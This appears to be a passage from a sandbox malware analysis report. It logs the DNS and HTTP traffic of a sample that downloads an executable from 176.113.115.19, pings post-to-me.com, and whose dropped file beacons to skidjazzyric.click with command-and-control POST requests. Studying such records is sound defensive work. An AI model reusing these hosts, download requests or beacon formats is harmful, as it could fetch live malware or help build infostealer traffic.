Jan 8, 2025 09:44:50.819243908 CET	58187	443	192.168.2.7	104.21.80.1
Jan 8, 2025 09:44:50.819267988 CET	443	58187	104.21.80.1	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 8, 2025 09:42:29.254587889 CET	56929	53	192.168.2.7	1.1.1.1
Jan 8, 2025 09:42:29.267133951 CET	53	56929	1.1.1.1	192.168.2.7
Jan 8, 2025 09:43:02.544049025 CET	53	55780	162.159.36.2	192.168.2.7
Jan 8, 2025 09:43:04.175429106 CET	54157	53	192.168.2.7	1.1.1.1
Jan 8, 2025 09:43:04.182478905 CET	53	54157	1.1.1.1	192.168.2.7
Jan 8, 2025 09:44:43.493815899 CET	53992	53	192.168.2.7	1.1.1.1
Jan 8, 2025 09:44:43.507664919 CET	53	53992	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 8, 2025 09:42:29.254587889 CET	192.168.2.7	1.1.1.1	0xa0a	Standard query (0)	post-to-me.com	A (IP address)	IN (0x0001)	false
Jan 8, 2025 09:43:04.175429106 CET	192.168.2.7	1.1.1.1	0xea83	Standard query (0)	171.39.242.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Jan 8, 2025 09:44:43.493815899 CET	192.168.2.7	1.1.1.1	0x69bf	Standard query (0)	skidjazzyric.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 8, 2025 09:42:29.267133951 CET	1.1.1.1	192.168.2.7	0xa0a	No error (0)	post-to-me.com		104.21.56.70	A (IP address)	IN (0x0001)	false
Jan 8, 2025 09:42:29.267133951 CET	1.1.1.1	192.168.2.7	0xa0a	No error (0)	post-to-me.com		172.67.179.207	A (IP address)	IN (0x0001)	false
Jan 8, 2025 09:43:04.182478905 CET	1.1.1.1	192.168.2.7	0xea83	Name error (3)	171.39.242.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Jan 8, 2025 09:44:43.507664919 CET	1.1.1.1	192.168.2.7	0x69bf	No error (0)	skidjazzyric.click		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 09:44:43.507664919 CET	1.1.1.1	192.168.2.7	0x69bf	No error (0)	skidjazzyric.click		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 09:44:43.507664919 CET	1.1.1.1	192.168.2.7	0x69bf	No error (0)	skidjazzyric.click		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 09:44:43.507664919 CET	1.1.1.1	192.168.2.7	0x69bf	No error (0)	skidjazzyric.click		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 09:44:43.507664919 CET	1.1.1.1	192.168.2.7	0x69bf	No error (0)	skidjazzyric.click		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 09:44:43.507664919 CET	1.1.1.1	192.168.2.7	0x69bf	No error (0)	skidjazzyric.click		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 8, 2025 09:44:43.507664919 CET	1.1.1.1	192.168.2.7	0x69bf	No error (0)	skidjazzyric.click		104.21.64.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

post-to-me.com

skidjazzyric.click

176.113.115.19

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49703	176.113.115.19	80	6640	C:\Users\user\Desktop\chu4rWexSX.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 09:42:31.547854900 CET	85	OUT	GET /ScreenUpdateSync.exe HTTP/1.1 User-Agent: ShareScreen Host: 176.113.115.19
Jan 8, 2025 09:42:32.235616922 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 08:42:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Tue, 07 Jan 2025 19:23:06 GMT ETag: "4bee00-62b22acaa7a80" Accept-Ranges: bytes Content-Length: 4976128 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bc 97 53 92 f8 f6 3d c1 f8 f6 3d c1 f8 f6 3d c1 8a 77 3e c0 f5 f6 3d c1 8a 77 38 c0 6e f6 3d c1 8a 77 39 c0 eb f6 3d c1 e9 70 3e c0 ea f6 3d c1 e9 70 39 c0 e9 f6 3d c1 e9 70 38 c0 d3 f6 3d c1 8a 77 3c c0 f3 f6 3d c1 f8 f6 3c c1 80 f6 3d c1 7b 70 39 c0 f9 f6 3d c1 7b 70 3f c0 f9 f6 3d c1 52 69 63 68 f8 f6 3d c1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 1a 7f 7d 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 2a 00 1a 46 00 00 e6 05 00 00 00 00 00 0a d4 22 00 00 10 00 00 00 10 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$S===w>=w8n=w9=p>=p9=p8=w<=<={p9={p?=Rich=PEL}gF"@o L@kxm_kbPk8hk@k.textbss".textF"F `.rdatajhlF@@.data?PkH@.idatakH@@.msvcjmckH@.00cfgkH@@.fptablekH@.relockH@B.rsrc_m`J@@
Jan 8, 2025 09:42:32.235635042 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc cc cc cc cc e9 46 d0 3e 00 e9 a1 6a 40 00 e9 9c f7 3d 00 e9 17 19 3f 00 e9 d2 90 40 00 e9 83 f9 3a 00 e9 78 13 41 00 Data Ascii: F>j@=?@:xA?~EBK?_G@A?`ME;C6>@@>A@Z=O=?B;<>g<=><D<F>;\|C
Jan 8, 2025 09:42:32.235647917 CET	1236	IN	Data Raw: c8 42 00 e9 42 6d 3c 00 e9 8d 97 3b 00 e9 fc f8 3a 00 e9 53 ec 44 00 e9 8e ef 3e 00 e9 49 4c 3b 00 e9 d4 bb 40 00 e9 ff fe 3a 00 e9 ca 3e 45 00 e9 85 4e 3f 00 e9 d0 23 3e 00 e9 1b ae 3f 00 e9 36 46 40 00 e9 a1 dd 3c 00 e9 5c a9 3f 00 e9 27 44 3b Data Ascii: BBm<;:SD>IL;@:>EN?#>?6F@<\?'D;>;/EH@@^H=@t<;yB@u<;ED+L?2;=\|>EC;mD%>:n9<C;3BjY=5@P6?;^;D@!DI<C
Jan 8, 2025 09:42:32.235660076 CET	224	IN	Data Raw: 41 00 e9 5f 83 45 00 e9 fa 03 45 00 e9 05 82 44 00 e9 10 7f 40 00 e9 4b 53 3c 00 e9 d6 d8 3e 00 e9 71 93 3f 00 e9 2c 3b 3d 00 e9 77 10 3e 00 e9 92 dc 42 00 e9 fd f3 43 00 e9 d8 65 43 00 e9 13 0f 3b 00 e9 7e aa 3c 00 e9 19 0e 3f 00 e9 e4 ee 43 00 Data Ascii: A_EED@KS<>q?,;=w>BCeC;~<?C=5>@C+yB/B1<,?=D.?XB(<CB@A=)ED&B_\;*E;C9<+?@>@.?gc;2;]xBH]C
Jan 8, 2025 09:42:32.235709906 CET	1236	IN	Data Raw: 33 3f 00 e9 8e 3b 3c 00 e9 19 7e 40 00 e9 74 e5 40 00 e9 9f 31 3c 00 e9 ea 4e 3b 00 e9 b5 25 44 00 e9 d0 bf 3f 00 e9 5b 79 43 00 e9 26 0f 43 00 e9 f1 01 3d 00 e9 7c c7 42 00 e9 07 9e 42 00 e9 b2 1b 40 00 e9 1d 17 41 00 e9 78 54 3f 00 e9 73 4c 45 Data Ascii: 3?;<~@t@1<N;%D?[yC&C=\|BB@AxT?sLEnEY7?D?.;<B <DB!s<Er>rT?7><iET@DJ;eB<EF=A<oB\?==(=s<
Jan 8, 2025 09:42:32.235735893 CET	224	IN	Data Raw: 41 00 e9 eb 2a 44 00 e9 26 52 42 00 e9 31 03 3b 00 e9 fc 9a 3c 00 e9 97 3b 41 00 e9 f2 7a 41 00 e9 3d 35 3d 00 e9 78 07 3e 00 e9 c3 a9 3d 00 e9 be b0 40 00 e9 e9 ee 3b 00 e9 d4 fe 3c 00 e9 0f 1c 3e 00 e9 7a 90 3f 00 e9 05 2a 3b 00 e9 e0 43 44 00 Data Ascii: AD&RB1;<;AzA=5=x>=@;<>z?;CD+"BF?D\|pBG@BW;:=<)@DA_?Z<u@TB=,??sBC2=;E=D<DMC/
Jan 8, 2025 09:42:32.235749960 CET	1236	IN	Data Raw: 9b 3c 00 e9 c4 7c 45 00 e9 25 91 3c 00 e9 30 d7 08 00 e9 9b 17 3e 00 e9 96 e3 40 00 e9 91 c1 40 00 e9 ec b0 40 00 e9 f7 2b 3b 00 e9 e2 a6 40 00 e9 3d 2b 3b 00 e9 18 0c 3f 00 e9 83 bd 3f 00 e9 ce 06 3e 00 e9 69 32 3c 00 e9 14 e0 44 00 e9 4f 39 3b Data Ascii: <\|E%<0>@@@+;@=+;??>i2<DO9;D@?`8@d>v;n<r{E@r=@m(;HCC?,<i>Ed<M<A%w@kB@flD??AwAl{E=>?c<N'?A?;:E
Jan 8, 2025 09:42:32.235819101 CET	1236	IN	Data Raw: 45 00 e9 97 18 3e 00 e9 92 c8 40 00 e9 dd 30 41 00 e9 88 46 42 00 e9 a3 5a 3c 00 e9 4e 4f 43 00 e9 09 34 45 00 e9 54 0e 3f 00 e9 df c2 3c 00 e9 6a 0e 42 00 e9 75 f9 42 00 e9 e0 3c 3d 00 e9 0b 8b 3f 00 e9 46 30 40 00 e9 91 38 3c 00 e9 bc f4 3a 00 Data Ascii: E>@0AFBZ<NOC4ET?<jBuB<=?F0@8<::7==HAB,<^U???>D>vB@A<C=A;<@>@Z;?<.C<ZCDEC]<[;%<H;=fBa><
Jan 8, 2025 09:42:32.235832930 CET	448	IN	Data Raw: 00 e9 44 1f 42 00 e9 37 3a 45 00 e9 3a d9 42 00 e9 25 08 41 00 e9 30 31 3f 00 e9 1b c8 43 00 e9 66 d2 3c 00 e9 91 f4 3e 00 e9 9c 10 3f 00 e9 c7 8d 3e 00 e9 f2 ca 3d 00 e9 cd 50 3b 00 e9 68 c2 40 00 e9 53 cd 42 00 e9 7e 0f 3f 00 e9 89 68 42 00 e9 Data Ascii: DB7:E:B%A01?Cf<>?>=P;h@SB~?hBAqD:><C[<rEqzE\|5<pE?=A=sD>A$B;:5<`>@Fd<qE>G@;B>^DI<
Jan 8, 2025 09:42:32.235846043 CET	1236	IN	Data Raw: b0 3c 00 e9 02 74 3f 00 e9 ed 66 43 00 e9 28 60 42 00 e9 43 01 3b 00 e9 ce e7 3a 00 e9 79 e4 3f 00 e9 84 e2 3b 00 e9 3f fd 42 00 e9 0a 4a 3b 00 e9 d5 66 43 00 e9 50 31 41 00 e9 fb 1f 3c 00 e9 e6 3f 45 00 e9 61 70 45 00 e9 5c 1a 44 00 e9 87 3f 43 Data Ascii: <t?fC(`BC;:y?;?BJ;fCP1A<?EapE\D?Cr4B@W<3 >2@<BO%<B?<PAAl<A\|D5=w: ;:XBBB;pEACjfC%NC0?[^D;1;\@1E
Jan 8, 2025 09:42:32.240607977 CET	1236	IN	Data Raw: 43 00 e9 cf d0 3c 00 e9 7a f0 3a 00 e9 85 f4 3b 00 e9 40 99 3d 00 e9 8b c0 3b 00 e9 06 c1 3b 00 e9 41 9c 40 00 e9 8c 05 42 00 e9 a7 25 3f 00 e9 e2 d1 42 00 e9 4d dd 3e 00 e9 18 fb 40 00 e9 83 cf 44 00 e9 2e e9 40 00 e9 89 23 3c 00 e9 a4 ee 3b 00 Data Ascii: C<z:;@=;;A@B%?BM>@D.@#<;r>z<D0=>f?:\|?w?kE9C(4BSDn==A!?O=:E?<D>1=>6@@Bx@;C=@

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49702	104.21.56.70	443	6640	C:\Users\user\Desktop\chu4rWexSX.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 08:42:30 UTC	90	OUT	GET /track_prt.php?sub=0&cc=DE HTTP/1.1 User-Agent: ShareScreen Host: post-to-me.com
2025-01-08 08:42:30 UTC	800	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 08:42:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.4.16 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=klxIUUkB2SQyhjoY2yUverICUQmzLBdht69ForbeEJru8WMqcBDgmn8qFLpuy9HGLt0%2FqpHGZkdx8nZxeKiYvQjt%2FdfKWZemK4ApVGM%2B3dFTQpIfYm3AI0X2Zy2NXqgyzQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8feae5044eacf793-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1516&min_rtt=1512&rtt_var=576&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=728&delivery_rate=1886304&cwnd=152&unsent_bytes=0&cid=7d1846c855caf04e&ts=937&x=0"
2025-01-08 08:42:30 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-08 08:42:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	58183	104.21.80.1	443	640	C:\Users\user\AppData\Local\Temp\92F8.tmp.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 08:44:44 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: skidjazzyric.click
2025-01-08 08:44:44 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-08 08:44:44 UTC	1130	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 08:44:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ti40un3sg15il5emadnembltcr; expires=Sun, 04 May 2025 02:31:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IX6dCeauGkksaz7t2yQfJMbT3rCBdmHblnzXn62yQN9AB3TiTiuS9uOJWQs5t94QT931WtDhCDJT04YcU98%2FpTYAJvfX8PcH6RC%2BX53wSO%2BlIckigBULWhJY5vIf5BP8tom73KM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8feae847f8cd0f36-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=30537&min_rtt=1530&rtt_var=17834&sent=7&recv=7&lost=0&retrans=0&sent_bytes=3058&recv_bytes=909&delivery_rate=2862745&cwnd=232&unsent_bytes=0&cid=7399948b1dbdb4b3&ts=501&x=0"
2025-01-08 08:44:44 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-08 08:44:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	58184	104.21.80.1	443	640	C:\Users\user\AppData\Local\Temp\92F8.tmp.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 08:44:45 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 74 Host: skidjazzyric.click
2025-01-08 08:44:45 UTC	74	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 68 35 56 66 48 2d 2d 26 6a 3d 31 34 34 38 62 62 36 32 65 31 32 37 36 38 32 31 64 35 30 32 34 36 65 62 38 38 62 33 31 30 39 66 Data Ascii: act=recive_message&ver=4.0&lid=4h5VfH--&j=1448bb62e1276821d50246eb88b3109f
2025-01-08 08:44:45 UTC	1127	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 08:44:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7gea9nm64bqpqs38anmb1gf6vc; expires=Sun, 04 May 2025 02:31:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1nrvvI4oMtBBS%2FoWgtnnoCP2c23xUilyaTQxAfFY3xPAP%2FrTZ4koJ0TerdVycpNJx4I8Be5gDkJ2zeGRwsP6E8rk6pKPQzTEDQHid80J%2BTnlvZWUdEaHlKgpAhOTcI3WZqY5ap0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8feae8503c930f36-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1482&min_rtt=1455&rtt_var=600&sent=6&recv=6&lost=0&retrans=0&sent_bytes=3057&recv_bytes=976&delivery_rate=2614925&cwnd=232&unsent_bytes=0&cid=3434c3b98288be29&ts=685&x=0"
2025-01-08 08:44:45 UTC	242	IN	Data Raw: 63 34 39 0d 0a 6e 31 79 45 41 67 41 6e 4a 2f 33 49 41 70 45 6b 71 6c 61 44 75 36 4b 55 70 45 71 73 59 56 67 45 47 6e 78 68 65 32 74 72 2f 68 6a 6b 66 76 49 67 4f 68 4d 4c 33 37 74 6e 73 78 37 65 4a 50 62 65 6a 72 62 46 4c 6f 35 62 50 6d 56 32 44 77 52 58 53 52 32 54 4f 71 55 36 35 57 35 7a 51 67 76 66 72 58 71 7a 48 76 45 74 6f 64 37 4d 74 70 35 6f 79 51 73 36 5a 58 59 65 41 42 41 45 47 35 4a 37 39 7a 44 6a 61 6d 56 45 51 35 79 6b 62 2f 52 42 7a 7a 66 70 31 63 76 35 7a 43 65 4f 54 58 70 68 59 46 35 62 57 53 59 4f 69 6e 6e 53 50 66 64 70 49 6c 6f 4c 68 75 70 6e 2f 77 61 51 64 4f 4c 65 77 50 6a 43 4c 73 63 4a 4d 47 78 2b 48 77 55 52 47 77 4b 59 63 50 63 2b 34 47 74 76 54 56 65 52 72 6d 6a 2f 52 38 55 33 6f 5a 65 41 38 Data Ascii: c49n1yEAgAnJ/3IApEkqlaDu6KUpEqsYVgEGnxhe2tr/hjkfvIgOhML37tnsx7eJPbejrbFLo5bPmV2DwRXSR2TOqU65W5zQgvfrXqzHvEtod7Mtp5oyQs6ZXYeABAEG5J79zDjamVEQ5ykb/RBzzfp1cv5zCeOTXphYF5bWSYOinnSPfdpIloLhupn/waQdOLewPjCLscJMGx+HwURGwKYcPc+4GtvTVeRrmj/R8U3oZeA8
2025-01-08 08:44:45 UTC	1369	IN	Data Raw: 64 35 6f 6c 6b 4e 70 56 48 73 50 45 67 77 45 47 5a 6f 36 34 6e 44 2f 49 47 56 4a 42 63 66 71 61 50 39 49 7a 54 66 75 33 73 48 32 31 43 66 4f 41 44 4a 75 66 42 51 4d 46 67 59 48 6c 6e 33 31 4e 2b 46 76 5a 55 31 44 6b 4b 6b 67 76 51 62 50 4c 4b 47 42 67 4e 62 57 4b 38 30 58 4e 33 63 34 41 55 30 41 53 51 36 51 4f 71 56 2b 34 47 35 6a 53 45 57 4e 6f 6d 76 34 51 39 6f 2f 36 4e 54 4e 39 73 73 69 77 51 41 36 59 58 49 55 44 42 4d 4e 42 4a 46 38 2f 54 36 6d 4c 69 4a 43 58 64 2f 79 49 4e 42 44 32 44 50 74 7a 34 4c 4d 68 6a 65 41 47 6e 70 68 64 46 35 62 57 51 45 4d 6e 33 6e 32 4d 65 56 6f 61 56 64 46 6a 61 78 74 39 6c 54 4f 4d 65 2f 54 77 2b 54 4d 4a 73 67 41 4d 32 31 78 47 77 51 64 53 55 66 63 66 65 56 2b 76 69 42 44 53 45 36 54 6f 48 66 7a 42 74 64 36 2b 4a 6e 48 Data Ascii: d5olkNpVHsPEgwEGZo64nD/IGVJBcfqaP9IzTfu3sH21CfOADJufBQMFgYHln31N+FvZU1DkKkgvQbPLKGBgNbWK80XN3c4AU0ASQ6QOqV+4G5jSEWNomv4Q9o/6NTN9ssiwQA6YXIUDBMNBJF8/T6mLiJCXd/yINBD2DPtz4LMhjeAGnphdF5bWQEMn3n2MeVoaVdFjaxt9lTOMe/Tw+TMJsgAM21xGwQdSUfcfeV+viBDSE6ToHfzBtd6+JnH
2025-01-08 08:44:45 UTC	1369	IN	Data Raw: 67 4d 4e 32 6f 34 55 45 4d 65 45 55 6e 45 4f 74 63 39 38 6d 4e 6f 42 33 43 63 70 47 37 30 55 49 67 72 72 38 43 41 38 63 70 6f 6c 6b 4d 33 5a 33 41 59 45 52 59 45 43 70 4a 30 38 6a 76 70 61 47 4a 46 53 4a 71 75 61 2f 68 46 78 54 44 7a 30 38 44 2b 77 79 6e 45 43 58 6f 6f 4f 42 6b 62 57 56 46 4a 72 57 33 32 66 4e 4e 6a 62 45 74 43 69 65 70 2f 76 56 2b 49 4d 2b 32 5a 6d 4c 62 4c 49 4d 73 47 4e 57 64 79 45 41 59 54 42 51 47 53 65 65 38 78 34 6d 42 75 54 55 2b 53 70 47 54 37 54 38 4d 2f 35 39 6e 42 2f 49 5a 6d 6a 67 51 69 4a 69 42 65 4e 78 34 46 42 4a 4d 34 79 44 33 6f 62 6d 56 54 42 59 44 6b 65 62 4e 42 78 48 53 35 6d 63 7a 2f 78 69 50 45 42 7a 70 68 64 52 73 41 48 67 6f 45 6d 33 44 7a 4f 65 4a 73 61 30 68 44 6e 36 31 6b 39 6c 54 4e 50 65 33 56 67 4c 69 47 4c Data Ascii: gMN2o4UEMeEUnEOtc98mNoB3CcpG70UIgrr8CA8cpolkM3Z3AYERYECpJ08jvpaGJFSJqua/hFxTDz08D+wynECXooOBkbWVFJrW32fNNjbEtCiep/vV+IM+2ZmLbLIMsGNWdyEAYTBQGSee8x4mBuTU+SpGT7T8M/59nB/IZmjgQiJiBeNx4FBJM4yD3obmVTBYDkebNBxHS5mcz/xiPEBzphdRsAHgoEm3DzOeJsa0hDn61k9lTNPe3VgLiGL
2025-01-08 08:44:45 UTC	172	IN	Data Raw: 2f 4f 42 6b 50 57 56 46 4a 6c 58 50 76 4d 4f 68 70 62 30 4e 4e 6d 4b 52 74 2b 45 44 44 4d 2b 62 66 7a 66 37 4c 4c 63 30 43 50 6d 78 71 48 51 67 54 42 41 50 63 4e 4c 30 35 2f 69 41 36 42 57 4b 54 67 33 44 6f 56 4e 35 30 2f 70 66 5a 74 73 45 6b 6a 6c 74 36 5a 58 63 58 44 42 45 42 42 70 4e 2b 38 7a 6a 67 62 57 64 4b 54 34 32 69 62 76 35 4e 78 7a 2f 7a 32 63 33 79 79 69 7a 47 43 44 41 6d 4e 6c 34 45 41 55 6c 52 33 45 2f 77 4d 65 5a 6a 64 41 56 61 30 62 4d 67 39 45 71 49 62 4b 48 56 7a 76 62 4a 4a 4d 49 49 4d 0d 0a Data Ascii: /OBkPWVFJlXPvMOhpb0NNmKRt+EDDM+bfzf7LLc0CPmxqHQgTBAPcNL05/iA6BWKTg3DoVN50/pfZtsEkjlt6ZXcXDBEBBpN+8zjgbWdKT42ibv5Nxz/z2c3yyizGCDAmNl4EAUlR3E/wMeZjdAVa0bMg9EqIbKHVzvbJJMIIM
2025-01-08 08:44:45 UTC	1369	IN	Data Raw: 34 30 34 37 0d 0a 6d 64 30 45 41 51 63 41 41 47 55 61 50 77 36 37 6d 46 73 53 6b 53 62 72 32 58 33 51 63 77 79 37 70 6d 4f 74 73 45 77 6a 6c 74 36 53 56 38 72 51 54 67 7a 53 59 4d 30 35 48 37 68 62 43 49 64 42 5a 4f 70 62 50 74 4a 7a 6a 33 74 30 38 6e 39 79 69 50 4b 44 7a 4e 6a 66 68 38 47 48 41 67 4e 6b 48 44 37 50 65 56 76 62 55 70 4e 33 2b 51 67 39 46 36 49 62 4b 48 38 31 2f 33 49 4c 6f 34 63 64 48 38 34 47 51 39 5a 55 55 6d 51 63 2f 73 34 34 32 78 6a 51 30 32 61 6f 6d 54 79 51 4d 34 33 37 74 33 46 39 38 6b 73 77 67 30 77 5a 33 6b 53 43 42 59 43 44 4e 77 30 76 54 6e 2b 49 44 6f 46 64 4a 79 38 64 2b 4e 4b 69 43 75 76 77 49 44 78 79 6d 69 57 51 7a 74 30 63 68 51 4e 48 41 59 4d 6e 33 58 36 4d 2b 42 73 61 45 78 4e 6d 61 56 70 34 55 58 45 4f 75 62 58 7a 50 Data Ascii: 4047md0EAQcAAGUaPw67mFsSkSbr2X3Qcwy7pmOtsEwjlt6SV8rQTgzSYM05H7hbCIdBZOpbPtJzj3t08n9yiPKDzNjfh8GHAgNkHD7PeVvbUpN3+Qg9F6IbKH81/3ILo4cdH84GQ9ZUUmQc/s442xjQ02aomTyQM437t3F98kswg0wZ3kSCBYCDNw0vTn+IDoFdJy8d+NKiCuvwIDxymiWQzt0chQNHAYMn3X6M+BsaExNmaVp4UXEOubXzP
2025-01-08 08:44:45 UTC	1369	IN	Data Raw: 42 44 31 76 63 77 77 4a 48 67 34 43 6c 48 48 79 4f 50 52 73 62 46 64 41 6a 62 67 67 76 51 62 50 4c 4b 47 42 67 4d 44 42 4f 4e 34 41 65 46 64 75 48 52 55 53 42 41 58 63 5a 62 4d 6e 70 6d 64 75 42 52 33 66 72 47 2f 36 52 63 63 31 36 4e 58 4e 38 38 38 74 7a 77 55 2b 62 48 49 65 42 52 38 49 44 4a 5a 35 2f 44 54 76 5a 32 70 43 52 6f 33 71 4c 72 4e 42 30 48 53 35 6d 65 6e 78 31 43 62 65 51 79 55 6f 59 56 34 45 46 55 6c 52 33 48 37 33 4d 65 4a 6e 62 6b 4e 41 6d 61 64 68 2f 45 66 49 4f 2b 58 53 79 66 44 48 4a 63 73 4f 50 6e 52 79 46 51 77 56 41 41 57 52 4f 72 4e 2b 34 58 67 69 48 51 57 75 70 32 37 39 51 64 35 30 2f 70 66 5a 74 73 45 6b 6a 6c 74 36 5a 33 51 52 41 42 59 4b 43 70 31 77 37 79 7a 71 61 57 70 41 53 5a 53 6b 5a 75 46 41 78 7a 33 69 32 73 6e 78 7a 69 54 Data Ascii: BD1vcwwJHg4ClHHyOPRsbFdAjbggvQbPLKGBgMDBON4AeFduHRUSBAXcZbMnpmduBR3frG/6Rcc16NXN888tzwU+bHIeBR8IDJZ5/DTvZ2pCRo3qLrNB0HS5menx1CbeQyUoYV4EFUlR3H73MeJnbkNAmadh/EfIO+XSyfDHJcsOPnRyFQwVAAWROrN+4XgiHQWup279Qd50/pfZtsEkjlt6Z3QRABYKCp1w7yzqaWpASZSkZuFAxz3i2snxziT
2025-01-08 08:44:45 UTC	1369	IN	Data Raw: 57 6c 65 57 77 38 5a 48 70 74 6c 73 79 65 6d 5a 32 34 46 48 64 2b 73 61 66 56 42 7a 6a 72 7a 33 4d 62 35 79 53 48 48 42 7a 4a 6c 65 42 6f 48 48 67 77 4b 6b 48 48 36 50 65 6c 6b 61 30 74 4d 6b 4f 6f 75 73 30 48 51 64 4c 6d 5a 34 65 33 46 4a 4d 4e 44 4a 53 68 68 58 67 51 56 53 56 48 63 64 76 4d 37 35 6d 70 6b 51 55 43 5a 6f 47 58 7a 54 63 73 37 35 64 2f 45 2b 63 59 6a 78 77 49 38 59 33 49 56 42 52 51 4b 44 35 6f 36 73 33 37 68 65 43 49 64 42 62 2b 78 62 66 39 42 69 43 75 76 77 49 44 78 79 6d 69 57 51 7a 46 71 66 42 6b 44 46 41 6f 42 6d 58 37 33 4f 2b 5a 6f 63 45 31 46 6d 4c 68 79 38 30 2f 4e 4f 4f 4c 5a 78 50 44 50 4c 73 30 48 65 69 67 34 47 52 74 5a 55 55 6d 78 64 76 6f 58 34 58 73 69 57 67 75 47 36 6d 66 2f 42 70 42 30 34 4e 4c 4b 2b 63 73 72 79 